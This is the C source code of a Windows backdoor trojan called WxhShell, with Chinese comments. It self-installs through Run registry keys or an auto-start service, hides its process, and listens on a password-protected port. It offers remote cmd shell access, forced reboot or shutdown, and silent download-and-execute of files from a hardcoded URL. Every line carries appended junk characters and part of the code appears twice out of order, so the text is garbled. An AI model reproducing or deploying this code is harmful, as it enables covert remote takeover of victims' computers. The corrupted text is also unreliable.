    if(Boot(SHUTDOWN)) T"ors]eI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S,A\%:Va  
    else { :j2G0vHIl(  
    closesocket(wsh); zOO:`^ m  
    ExitThread(0); ]"?+R+  
    } 2@ 4^ 81  
    break; lrQ +G@#  
    } PO9<g% qTf  
  // 获取shell c@iP^;D  
  case 's': { ^,F8 ha  
    CmdShell(wsh); AWSe!\b  
    closesocket(wsh); E{_$C!.  
    ExitThread(0); wa/ :JE  
    break; 3%c{eZxG=  
  } 9nIBs{`/Ac  
  // 退出 Q(Uj5aX  
  case 'x': { BfQRw>dZ"{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~&)  
    CloseIt(wsh); Rf7*Ut wVr  
    break; 2pa: 3O  
    } %{'hpT~h  
  // 离开 RDX".'`(=  
  case 'q': {  O+D"7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p<hV7x-{  
    closesocket(wsh); T 9lk&7W  
    WSACleanup(); V$e\84<  
    exit(1); :$eg{IXC"  
    break; uEp v l  
        } /Hxz@=LC1  
  } >(>Fx\z}  
  } 1%W|>M`  
h!#!}|Q'  
  // 提示信息 +Ja9p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 38(Cj~u=3  
} LZC)vF5  
  } F@=)jrO=$  
|/LCwq%  
  return; 'J*)o<%  
} QvB]?D#h  
tTa" JXG  
// shell模块句柄 ,1>ABz  
int CmdShell(SOCKET sock) X[pk9mha  
{ qSj$0Hq5XI  
STARTUPINFO si; p_z_d6?  
ZeroMemory(&si,sizeof(si)); ZUE?19GA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^'"sFEV7RN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WR;"^<i9  
PROCESS_INFORMATION ProcessInfo; LeY!A#j  
char cmdline[]="cmd"; zD8q(]: A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OW$? 6  
  return 0; e*[M*u  
} t%jB[w&,os  
N"d*pi#h  
// 自身启动模式 6fxf|R\  
int StartFromService(void) 9r@T"$V#c  
{ ?R2`RvQ  
typedef struct gm;6v30e  
{ 'k2Z$+  
  DWORD ExitStatus; /*B^@G|]'  
  DWORD PebBaseAddress; j\t"4=,n  
  DWORD AffinityMask; +/idq  
  DWORD BasePriority; mRI W9V  
  ULONG UniqueProcessId; U?dd+2^};t  
  ULONG InheritedFromUniqueProcessId; adEcIvN$  
}   PROCESS_BASIC_INFORMATION; 0Me *X  
3\Y}{(O |  
PROCNTQSIP NtQueryInformationProcess;  %trtP  
TRQX#))B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  lZ^UAFF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Rb_HD  
~ ;aSE  
  HANDLE             hProcess; ;jb+x5t  
  PROCESS_BASIC_INFORMATION pbi; e<|'   
enu",wC3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [&mYW.O<  
  if(NULL == hInst ) return 0; E&G_7->  
kzs}U'U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m<ZwbD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E3N4(V\*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =\IcUY,4  
VU>s{_|{  
  if (!NtQueryInformationProcess) return 0; mtEE,O!+  
8YI.f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,^JP0Vc*  
  if(!hProcess) return 0; "Q*Z?6[Z  
<L+D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x Hw$  
#vN\]e  
  CloseHandle(hProcess); )9@I7QG?  
oh{!u!L`]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z_XI,u}  
if(hProcess==NULL) return 0; !/0XoIf"  
.^s%Nh2jM  
HMODULE hMod; yQQ[_1$pq  
char procName[255]; Ugmg,~U~k  
unsigned long cbNeeded; r>lC(x\B  
],%}}UN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C3`2{1  
-CW$p=y}  
  CloseHandle(hProcess); X/,4hjg  
b2;Weu3WN  
if(strstr(procName,"services")) return 1; // 以服务启动 @:DS/#!  
fT.5@RR7^  
  return 0; // 注册表启动 9.5hQZ  
} >iP>v`J  
i>bFQ1Rdx  
// 主模块 $jb3#Rj4  
int StartWxhshell(LPSTR lpCmdLine) S\<]|tM:x  
{ ]2Aqqy  
  SOCKET wsl; ;F@dN,Y  
BOOL val=TRUE; |N[SCk>Kj  
  int port=0; bA#E8dlC_  
  struct sockaddr_in door; 1{+Ni{  
8<u_ wt@  
  if(wscfg.ws_autoins) Install(); (,\`?g  
uC G^,BQ  
port=atoi(lpCmdLine); %j=E}J<H5*  
c Xcn}gKV  
if(port<=0) port=wscfg.ws_port; 8}p5MG  
yS/ovd  
  WSADATA data; T8YqCT"EA<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,)+O.Lf7&.  
?Gr<9e2Eo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g#=^U`y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R{.wAH(  
  door.sin_family = AF_INET; Ki-CJ y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z$p +l]  
  door.sin_port = htons(port); =Fea vyx  
nM8aC&Rd\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Zl"h-~31  
closesocket(wsl); z'r.LBnh  
return 1; iXC/? EK4  
}  U^ BB|  
O*oL(dk*8L  
  if(listen(wsl,2) == INVALID_SOCKET) { 3 Yl[J;i  
closesocket(wsl); 9!V<=0b/  
return 1; iZ[o2Tre  
} a(Z" }m  
  Wxhshell(wsl); K@*m6)  
  WSACleanup(); xPqpNs-,  
Z<y +D-/  
return 0; ?MeP<5\A  
K1z"..(2J  
} f7OfN#I  
Fw:s3ON9}  
// 以NT服务方式启动 Y_PCL9G{p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9>le-}~  
{ 'ESy>wA{y<  
DWORD   status = 0; )+w0NhJw  
  DWORD   specificError = 0xfffffff; r3ZY` zf  
J#@ "Yb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "DWw1{ 5/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oB3>0Pm*a.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2ok>z$Y  
  serviceStatus.dwWin32ExitCode     = 0; ..;LU:F  
  serviceStatus.dwServiceSpecificExitCode = 0; (B]Vw+/  
  serviceStatus.dwCheckPoint       = 0; l%B1JGu*F  
  serviceStatus.dwWaitHint       = 0; %8 cFzyE*  
_a*Wk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hU G Iy(  
  if (hServiceStatusHandle==0) return; G`|mP:T:o  
KUH&_yCRB  
status = GetLastError(); +cy(}Vp  
  if (status!=NO_ERROR) h.'h L  
{ S%&l(=0X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O0b8wpF f  
    serviceStatus.dwCheckPoint       = 0; 9>@_};l  
    serviceStatus.dwWaitHint       = 0; l W&glU(  
    serviceStatus.dwWin32ExitCode     = status; pfAp2"  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8qBRO[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *JO"8iLw  
    return; XA9$n_| bw  
  } +}4vdi"  
,O a)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @uY%;%Pa8  
  serviceStatus.dwCheckPoint       = 0; M~N'z /  
  serviceStatus.dwWaitHint       = 0; pS%,wjb&P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )Y?H f2']  
} Xg!Mc<wA[  
>YoK?e6  
// 处理NT服务事件,比如:启动、停止 u# =N8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IRo[|&c  
{ 0]>p|m9K^<  
switch(fdwControl) `p1`Sxz?  
{ J+DuQ;k;  
case SERVICE_CONTROL_STOP: LZ&CGV"Z-  
  serviceStatus.dwWin32ExitCode = 0; #3u8BLy$Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =K8`[iH  
  serviceStatus.dwCheckPoint   = 0; Q1eiU Y6  
  serviceStatus.dwWaitHint     = 0; |7%$+g  
  { Y!&dj95y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7\{<AM?*  
  } <#|3z8N2  
  return; x6Z$lhZ  
case SERVICE_CONTROL_PAUSE: %q>gwq A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E? F @  
  break; _rjCwo\  
case SERVICE_CONTROL_CONTINUE:  |k 4+I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >>^c_0"O  
  break; (2qo9j"j/Y  
case SERVICE_CONTROL_INTERROGATE: HTx7._b  
  break; o ]Vx6  
}; W97Ka}Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >+oQxml6nI  
} 9@D,ZSi  
I8^z\ef&  
// 标准应用程序主函数 j-{WPJa4\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8-8= \  
{ #On1Q:d  
L**!$k"{5  
// 获取操作系统版本 I[t)V*L9  
OsIsNt=GetOsVer(); V i#(x9.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )sNtw Sl^  
3wR5:O$H  
  // 从命令行安装 hDp'=}85@  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;oR-\;]/.  
5&94VQ$d  
  // 下载执行文件 QX(:!b  
if(wscfg.ws_downexe) { <j,7Z>Rk\x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OgfQGGc  
  WinExec(wscfg.ws_filenam,SW_HIDE); E) z g,7Y  
} >{GC@Cw  
lBh {8a|2W  
if(!OsIsNt) { eW >k'ez  
// 如果时win9x,隐藏进程并且设置为注册表启动 OZt'ovY  
HideProc(); t]vX9vv+D  
StartWxhshell(lpCmdLine); ;#xhlR* ~  
} ?'_iqg3  
else N pRC3^  
  if(StartFromService()) L7Skn-*tnA  
  // 以服务方式启动 mbS &>  
  StartServiceCtrlDispatcher(DispatchTable); UhEJznfi  
else #lVVSrF,-  
  // 普通方式启动 OH=Ffy F,  
  StartWxhshell(lpCmdLine); PwDQ<   
qVM]$V#e  
return 0; $<33E e:a  
} Uc9Uj  
6K<vyr40  
j@9nX4Z  
#),QWTl3  
=========================================== oN _% oc  
_r,# l5~U  
~kN6Hr*X  
s` S<BX7  
*Li;:b"t  
vB.LbYyF  
" Qgf_  
$6oLiYFX;  
#include <stdio.h> rqa;MPl  
#include <string.h> !EKF^n6  
#include <windows.h> : wn![<`3q  
#include <winsock2.h> e dD(s5  
#include <winsvc.h> TS1 k'<c?  
#include <urlmon.h>  d;CD~s  
Z)?"pBv'  
#pragma comment (lib, "Ws2_32.lib") @8_K^3-~e  
#pragma comment (lib, "urlmon.lib") pCg0xbc`  
zSq+#O1#  
#define MAX_USER   100 // 最大客户端连接数 j f^fj-  
#define BUF_SOCK   200 // sock buffer !Sw7!h.ut  
#define KEY_BUFF   255 // 输入 buffer f'%}{l: ss  
`,7BU??+u  
#define REBOOT     0   // 重启 +F0M?,  
#define SHUTDOWN   1   // 关机 8H{@0_M  
m$O@+;>l  
#define DEF_PORT   5000 // 监听端口 .+M4P i  
}QC: !e,yG  
#define REG_LEN     16   // 注册表键长度 /Hd\VI  
#define SVC_LEN     80   // NT服务名长度 O~xc> w  
;CU3CLn  
// 从dll定义API 4`*jF'N[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bTn-Pg){  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K, 35*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EIf~>AI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ("9)=x*5  
o\2#}eie  
// wxhshell配置信息 Ajq<=y`NzV  
struct WSCFG { )I5f`r=Ry  
  int ws_port;         // 监听端口 6w@l#p  
  char ws_passstr[REG_LEN]; // 口令 9h9Y:i*Gh5  
  int ws_autoins;       // 安装标记, 1=yes 0=no e j`lY  
  char ws_regname[REG_LEN]; // 注册表键名 ?.~@lE  
  char ws_svcname[REG_LEN]; // 服务名 3[Z?`X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 / ?Q@Pn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U1&m-K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AalyEn&>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pWQ?pTh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q=6M3OnS>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fC81(5   
61wGIN2,  
}; u/,m2N9cL  
jN B-FVaT  
// default Wxhshell configuration ,D#~%kq~  
struct WSCFG wscfg={DEF_PORT, t(s']r  
    "xuhuanlingzhe", 5$9j&&R  
    1, pRYt.}/K  
    "Wxhshell", e+&/ Tq'2  
    "Wxhshell", a Fl(K\  
            "WxhShell Service", EnfSVG8kB8  
    "Wrsky Windows CmdShell Service", 2P]rJ  
    "Please Input Your Password: ", fw-LZ][  
  1, Pw+cpM 8<  
  "http://www.wrsky.com/wxhshell.exe", 7DT9\BT  
  "Wxhshell.exe" o{ U= f6  
    }; -lLq)  
="XxS|Mq3  
// 消息定义模块 Q+#, VuM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G:A` n;E0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uS<&$J H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X\flx~  
char *msg_ws_ext="\n\rExit."; JZai{0se  
char *msg_ws_end="\n\rQuit."; 9v/1>rziE  
char *msg_ws_boot="\n\rReboot..."; ON !1lS  
char *msg_ws_poff="\n\rShutdown..."; eP;lH~!.0  
char *msg_ws_down="\n\rSave to "; [dUW3}APV  
 H'2pmwk  
char *msg_ws_err="\n\rErr!"; )kg^.tP  
char *msg_ws_ok="\n\rOK!"; r_ Xk:  
t&-7AjS5  
char ExeFile[MAX_PATH]; [,l BY-Kz+  
int nUser = 0; ! 5]/2  
HANDLE handles[MAX_USER]; ]Wfnpqc^  
int OsIsNt; hGzj}t W8d  
0naegy?,  
SERVICE_STATUS       serviceStatus; l$z-'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V<(cW'zA/  
M`S >Q2{  
// 函数声明 6&h,eQ!  
int Install(void); B 6|=kl2C  
int Uninstall(void); bY]aADv\  
int DownloadFile(char *sURL, SOCKET wsh); A.(Z0,S-i  
int Boot(int flag); m[%&K W(  
void HideProc(void); ve'hz{W  
int GetOsVer(void); 6$`8y,TMSt  
int Wxhshell(SOCKET wsl); ^Z;5e@S  
void TalkWithClient(void *cs); a^|mF# z  
int CmdShell(SOCKET sock); 0urQA_JC  
int StartFromService(void); fF<~2MiKw  
int StartWxhshell(LPSTR lpCmdLine); 4R}2H>VV%  
z${DW@o3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &(irri_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J4=~.&6  
%~G)xK?W*  
// 数据结构和表定义 Y+lZT4w  
SERVICE_TABLE_ENTRY DispatchTable[] = _?mu2!X  
{ V\4'Hd  
{wscfg.ws_svcname, NTServiceMain}, 'V } -0  
{NULL, NULL} 3-z57f,}6~  
}; [N.4 i" Cd  
FzW7MW>\x  
// 自我安装 8)'OXR0/  
int Install(void) 1;S@XC>  
{ ;5dJ5_}  
  char svExeFile[MAX_PATH]; s}X2*o`,  
  HKEY key; 05$CIS>!  
  strcpy(svExeFile,ExeFile); sF f@>  
l g~Gkd6  
// 如果是win9x系统,修改注册表设为自启动 -PoW56  
if(!OsIsNt) { _-^a8F>/19  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FAo\`x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wNq#vn  
  RegCloseKey(key); g2BE-0,R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RQ!kVM@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =J<3B H^m  
  RegCloseKey(key); "! m6U#^  
  return 0; $CRu?WUS]'  
    } l*":WzRGvF  
  } g-Vxl|hR  
} d3<7t  
else { sA#}0>`3S  
^#KkO3  
// 如果是NT以上系统,安装为系统服务 2old})CLJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^e1@o\]  
if (schSCManager!=0) /&_$+Iun  
{ cY0NQKUk~  
  SC_HANDLE schService = CreateService VMXccT9i!  
  ( fl9`Mgu  
  schSCManager, I w~R@,  
  wscfg.ws_svcname, C[6} 8J|  
  wscfg.ws_svcdisp, :Ugf3%sQ  
  SERVICE_ALL_ACCESS, kZ>_m &g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X@RS /  
  SERVICE_AUTO_START, [+ K jun_  
  SERVICE_ERROR_NORMAL, _ VKBzOH  
  svExeFile, +DU^"q=  
  NULL, [0qe ?aI  
  NULL, e];lDa#4-Y  
  NULL, x+EkL3{  
  NULL, Je5}Z.3m  
  NULL u5;;s@{Ye4  
  ); k#liYw I  
  if (schService!=0) L`NY^  
  { aS=-9P;v  
  CloseServiceHandle(schService); < KG q  
  CloseServiceHandle(schSCManager); E2K{9@i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9kHVWDf  
  strcat(svExeFile,wscfg.ws_svcname); k<Qhw)M8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {bHUZen  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JlR$"GU  
  RegCloseKey(key); ~@=(#tO.  
  return 0; n+MWny  
    } + fS<YT  
  } <-;/,uu  
  CloseServiceHandle(schSCManager); \Kr8k`f  
} FkE)~g  
} p>_Qns7W  
& 6'Rc#\P  
return 1; sPX&XqWx  
} %|j`z?i|  
y^Uh<L0M  
// 自我卸载 Kv0V`}<Yc  
int Uninstall(void) t xE=AOY5  
{ _NefzZWUJ  
  HKEY key; v;soJlxF~  
hh8Grl;  
if(!OsIsNt) { ]-8WM5\qJM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VKV :U60  
  RegDeleteValue(key,wscfg.ws_regname); (qglD  
  RegCloseKey(key); ja^_Lh9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .DNPL5[v  
  RegDeleteValue(key,wscfg.ws_regname); ;3x*pjLG:Q  
  RegCloseKey(key); b:Z&;A|"{  
  return 0; A:y HClmn  
  } 3P@D!lV&K  
} Jvc:)I1NE7  
}  bTU[E  
else { <Pzy'9  
Lq|>n Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `AYq,3V  
if (schSCManager!=0) }@eIO|  
{ :*f  2Bn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @}=(4%  
  if (schService!=0) hw$!LTB2  
  { w4(L@1  
  if(DeleteService(schService)!=0) { FA%_jM  
  CloseServiceHandle(schService); E\|nP~;~F9  
  CloseServiceHandle(schSCManager); +F-EgF+J  
  return 0; &&nbdu  
  } Ve2{;`t  
  CloseServiceHandle(schService); jp_|pC'  
  } #x;,RPw5  
  CloseServiceHandle(schSCManager);  />Q}0H g  
} aaP_^m O  
} NV7k@7_{B  
!_vxbfZO  
return 1; SE'!j]6jI  
} Z\?2"4H  
N_I KH)  
// 从指定url下载文件 Cb1w8l0  
int DownloadFile(char *sURL, SOCKET wsh) D"J',YN$  
{  g5 T  
  HRESULT hr; 0z'GN#mT5  
char seps[]= "/"; (`S^6 -^  
char *token; ia7<AwV  
char *file; m8ts!6C  
char myURL[MAX_PATH]; DmpT<SI+!  
char myFILE[MAX_PATH]; H1 I^Vij  
y~fKLIoz"  
strcpy(myURL,sURL); w9{C"K?u=  
  token=strtok(myURL,seps);  =*&[K^  
  while(token!=NULL) l|=4FIMD  
  { +LF#XS@  
    file=token; w8XCU> |  
  token=strtok(NULL,seps); < Hkq  
  } 12a`,~  
yL*]_  
GetCurrentDirectory(MAX_PATH,myFILE); gs5(~YiT6  
strcat(myFILE, "\\"); ,$0-I@*V  
strcat(myFILE, file); } vmRm*8z  
  send(wsh,myFILE,strlen(myFILE),0); |RFBhB/u  
send(wsh,"...",3,0); odCt6Du  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MfP)Pk5  
  if(hr==S_OK) PD)"od  
return 0; ,;_+o]  
else )P$|9<_q7x  
return 1; tO&ffZP8$  
6Q^~O*cw  
} V&w2pp0  
7~ PL8  
// 系统电源模块 2%dL96  
int Boot(int flag) z Fo11;*D  
{ f<NR6],}  
  HANDLE hToken; f#= c=e-A  
  TOKEN_PRIVILEGES tkp; P.}d@qD{)  
J#zr50@@  
  if(OsIsNt) { xSm;~')g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); & 3BoK/y3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |'q%9 #  
    tkp.PrivilegeCount = 1; >#w;67he2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |;vQ"8J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SVZocTt  
if(flag==REBOOT) { v1TFzcHl<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ho>Np&  
  return 0; j{@6y  
} G3~`]qf  
else { d ~Z\%4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b6bs .  
  return 0; yOq@w!xz  
} wT4@X[5$  
  } $-iEcxsi  
  else { }d<R 5  
if(flag==REBOOT) { 7uF|Z(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7;s#QqG`I  
  return 0; Y()" 2CCV  
} f8Iddm#  
else { p+ CUYo(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iRzFA!wH  
  return 0; p49]{2GXb  
} =V[uXm  
} ~SnUnNDm`  
j*jUcD *  
return 1; *.DC(2:o!  
} *yu}e)(0  
0NXH449I=  
// win9x进程隐藏模块 m Qj=-\p  
void HideProc(void) l4OrlS/5  
{ >]\I:T  
ffZ~r%25{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5E&#Kh(I  
  if ( hKernel != NULL ) Z0F~?  
  { ,#K/+T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n0xGIq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Oynb "T&8  
    FreeLibrary(hKernel); `*C=R  _  
  } +$h  
[_,as  
return; ~HZdIPcC  
} [9 W@<p  
Smr{+m a  
// 获取操作系统版本 3v/B*M VI  
int GetOsVer(void) OT9]{|7  
{ rtV`Q[E  
  OSVERSIONINFO winfo; KK){/I=z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Fx9-A8oIR  
  GetVersionEx(&winfo); Q&} 0owe  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O>~,RI!  
  return 1; <+`%=r)4  
  else .%zcm  
  return 0; =V^-@ji)b  
} l8\UO<^fY  
\|]mClj#  
// 客户端句柄模块 C=: <[_m`  
int Wxhshell(SOCKET wsl) VdLoi\-/L  
{ %rzPh<>e  
  SOCKET wsh; T@ c~ql  
  struct sockaddr_in client; 0 j.K?]f)h  
  DWORD myID; E}@C4pS  
" kDiK`i  
  while(nUser<MAX_USER) J2YQdCL  
{ z3o i(  
  int nSize=sizeof(client); 3k Ci5C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (l{vlFWd  
  if(wsh==INVALID_SOCKET) return 1; '! [oLy  
XLN bV?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )@PnpC%H  
if(handles[nUser]==0) L, JQ\!c  
  closesocket(wsh); =!q% 1mP  
else |>.Q U3  
  nUser++; Cp8=8N(Xb  
  } Nwvlv{k'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EBj^4=b[  
(WM3(US|  
  return 0; _yg_?GH  
} *l2`- gbE  
l/eF P  
// 关闭 socket @~3--  
void CloseIt(SOCKET wsh) ,,H"?VO  
{ 3/G^V'Yu  
closesocket(wsh); 34@[ZKJ5  
nUser--; T$4{fhV \  
ExitThread(0); zWHq4@K  
} (]|h6aI'}  
x9_mlZ  
// 客户端请求句柄 bc)>h!'Y  
void TalkWithClient(void *cs) 2hh8G5IaQ  
{ iOE. .xA:  
K7 e~%mY  
  SOCKET wsh=(SOCKET)cs; /:{%X(8  
  char pwd[SVC_LEN]; i+_LKHQN  
  char cmd[KEY_BUFF]; }3pM,.  
char chr[1]; @<.@ X*#I  
int i,j; Gw M:f/eV  
(3#PKfY+  
  while (nUser < MAX_USER) { I \:WD"  
&V"oJ}M/a  
if(wscfg.ws_passstr) { !X>u.}?g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e+ xQ\LH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sj9fq*  
  //ZeroMemory(pwd,KEY_BUFF); jr6_|(0 i6  
      i=0; )vp0X\3q`  
  while(i<SVC_LEN) { v+c>iI  
d2k-MZuT6  
  // 设置超时 %uW  =kr  
  fd_set FdRead; gP^2GnjHL8  
  struct timeval TimeOut; Dg&84,bv^  
  FD_ZERO(&FdRead); jL VJ+mu  
  FD_SET(wsh,&FdRead); 1W^hPY  
  TimeOut.tv_sec=8; y<)TYr  
  TimeOut.tv_usec=0; vOQ% f?%G\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @Nu2 :~JO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 91-bz^=xO  
Up9{aX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s#2t\}/  
  pwd=chr[0]; %fS9F^AK  
  if(chr[0]==0xd || chr[0]==0xa) { Oy6fl'FIt  
  pwd=0; 0-2|(9 Kc  
  break; b}e1JPk}!  
  } jHLs 5%  
  i++; D=tZ}_'{t  
    } &quY^j  
4aW@c<-r?  
  // 如果是非法用户,关闭 socket FpoH m%+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P4zo[R%4  
} LPk@t^[  
l_B735  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Kxe\H'rR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G\.~/<Mg+  
]9@:7d6  
while(1) { *S$v SDJCW  
JA^o/%a^  
  ZeroMemory(cmd,KEY_BUFF); ^X#y'odtbS  
RObnu*  
      // 自动支持客户端 telnet标准   +v~x gUs  
  j=0; i"{O~[  
  while(j<KEY_BUFF) { e#Tv5O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +pofN-*%  
  cmd[j]=chr[0]; >{#JIG.  
  if(chr[0]==0xa || chr[0]==0xd) { %#6@PQ[R.  
  cmd[j]=0; fF Q|dE;cF  
  break; TlG>)Z@/  
  } N&9o  1_}  
  j++; T j$'B[cv  
    } !avol/*  
+WX/4_STV  
  // 下载文件 }gp@0ri%5  
  if(strstr(cmd,"http://")) { mHD_cgKN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WT *"V<Z  
  if(DownloadFile(cmd,wsh)) R@e'=z[%1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8K%N7RL|  
  else G0FzXtu)q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2YD\KXDo  
  } b3(* /KgK  
